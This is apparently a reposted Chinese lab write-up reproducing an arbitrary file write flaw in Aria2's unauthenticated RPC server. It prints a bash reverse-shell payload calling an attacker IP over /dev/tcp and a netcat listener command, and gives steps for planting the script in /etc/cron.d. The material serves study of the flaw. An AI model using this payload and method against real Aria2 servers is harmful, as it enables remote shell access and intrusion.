Aria2任意文件寫入漏洞


目錄:

  1. 簡介
  2. 漏洞描述
  3. payload
  4. 漏洞復現

一、Aria2介紹

  Aria2是一個命令行下運行,多協議,多來源下載工具(HTTP / HTTPS,FTP,BitTorrent,Metalink),內建XML-RPC用戶界面。Aria提供RPC服務器,通過--enable-rpc參數啟動.Aria2的RPC服務器可以方便的添加,刪除下載項目。

二、漏洞描述

  通過控制文件下載鏈接,文件儲存路徑以及文件名,可以實現任意文件寫入。同時通過Aria2提供的其他功能,諸如save-session等也能輕易地實現任意文件寫入指定功能。

三、payload

   shell腳本:

#! /bin/bash
/bin/bash -i >& /dev/tcp/192.168.183.129/12345 0>&1

  站點;http://binux.github.io/yaaw/demo/# 

四、復現

  靶機ip:192.168.183.134:6800

  攻擊機:192.168.183.129

  直接訪問aria2如下:

  1.rpc通信需要json或xml,直接從網頁操作不方便,我們使用第三方UI與目標進行通信,打開 http://binux.github.io/yaaw/demo/# 點擊configuration,設置  json-rpc路徑(原理具體解釋參照:https://paper.seebug.org/120/,有時間繼續補充)

    2.設置下載任務,填寫shell的url,及受害主機shell文件的存儲路徑

  

   3.確定添加后,可以到容器下查看,文件確實已下載到定時目錄下,在被反彈shell的攻擊機下監聽端口 nc -lvvp port

   這里我遇到一些問題,cron.d下的shell文件沒有執行,那么我們檢查一下,是否是腳本有問題導致的,還是定時任務的一些問題,如兩台主機時間不同步等。。

  分析過程:

  1.shell腳本是否能執行;直接運行shell命令,或者為其添加可執行權限后再執行,檢查kali監聽狀態,發現可以監聽到,腳本OK

 

  2.檢查定時任務。。。這個確實是環境不允許,靶場docker鏡像不完整,crontab -l 檢查,沒有定時任務在執行;檢查定時任務服務開啟,沒有問題,檢查日志,該環境沒有日志,且進行下一步檢查時,缺少crontab的其他環境,無法繼續,可以推斷這個問題,就是因為環境的不完整導致的。

  3.但是,在靶機環境中/etc/cron.d中,確實下載了shell文件,可以證明aria2這個漏洞確實是存在的。在更完整的生產環境中,應該是可以正常拿shell的。

  

綜上,這個任意文件寫入漏洞是由於服務端沒有對寫入做一個身份驗證。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM